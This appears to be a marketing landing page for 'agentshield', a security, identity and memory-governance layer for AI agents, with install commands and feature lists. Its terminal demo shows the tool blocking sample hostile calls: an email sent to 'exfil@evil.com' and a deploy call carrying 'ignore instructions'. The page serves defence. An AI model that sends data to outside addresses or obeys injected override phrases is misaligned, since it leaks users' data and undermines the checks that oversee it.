The enterprise control plane for AI agents

Identity, security, and memory on one layer. Every agent gets a credential. Every tool call is checked before execution. Every memory query is filtered by privilege. Not two products. One plane.

Live demo Get started

539+ platform tests

Sub-ms hot path

7 layers prevention

Split-brain memory

terminal

$ pip install agentshield

$ agentshield init --name "research-agent"
  Agent registered: prin_e7c19a667f95

$ agentshield run "python agent.py"
  Agentic Glass v0.1 | enforce mode

  search("Q1 revenue")           ALLOW
  read_db("SELECT * users")      ALLOW
  send_email(exfil@evil.com)     DENY scope
  deploy("ignore instructions")  DENY injection

The Platform

One control plane. Three pillars.

Identity, prevention, and governed memory ship together. Security teams get audit and policy. Developers keep their existing agents.

Prevent

Seven detection layers inspect every tool call before execution. Taint propagation tracks data trust. Tool ordering blocks exfiltration patterns. Mandates scope every session.

Prompt injection detection (F1 = 0.94)
Tool execution order enforcement
Taint propagation (6-level trust)
Memory poisoning defense
Output sanitization
Pre-decision safety gates

Identity

Every agent gets an identity. Every identity has an owner. Every action is authorized against a scoped credential that attenuates monotonically.

Agent registration and ownership
UCAN-based credential delegation
Cascade revocation
Per-session agent mandates
Okta / Azure AD federation
Complete audit trail

Govern

Governed memory, communication monitoring, and automated containment. Agents share knowledge but never leak across permission boundaries.

Privilege-tiered knowledge brain
Inter-agent communication bus
Auto-quarantine on threshold
Business impact scoring
Compliance evidence generation
SIEM export (Splunk, Datadog)

How It Works

Three commands to production security

No SDK rewrite. No infrastructure changes. Wraps your existing agent.

Install

Works with LangChain, CrewAI, AutoGen, Claude MCP, and any Python agent.

$ pip install agentshield

Protect

$ agentshield init && agentshield run "python agent.py"

Monitor

Real-time dashboard. Investigate sessions. Export to SIEM. Full audit trail.

$ agentshield dashboard

Product demo

See blocks, memory, and audit in one dashboard

Walk through fixture-backed block stories, split-brain memory, hash-chained audit, and CISO overview. Password-protected demo on AWS.

Open live demo Memory split-brain

Open Source

Free for developers. Forever.

The core detection pipeline, taint propagation, tool ordering, and policy engine are MIT-licensed. No feature limits. No usage caps. No trial period.

See all tiers

# Install
pip install agentshield

# Protect your agent
agentshield run "python my_agent.py"

# Or wrap an MCP server
agentshield mcp-config \
  --target "npx @mcp/server-fs /" \
  --api https://your-server

# What's included (OSS):
#   Detection layers 1-3
#   Taint propagation
#   Tool execution ordering
#   Agent mandates
#   Memory poisoning defense
#   Output sanitization
#   Policy engine
#   MCP proxy
#   CLI + JSON audit log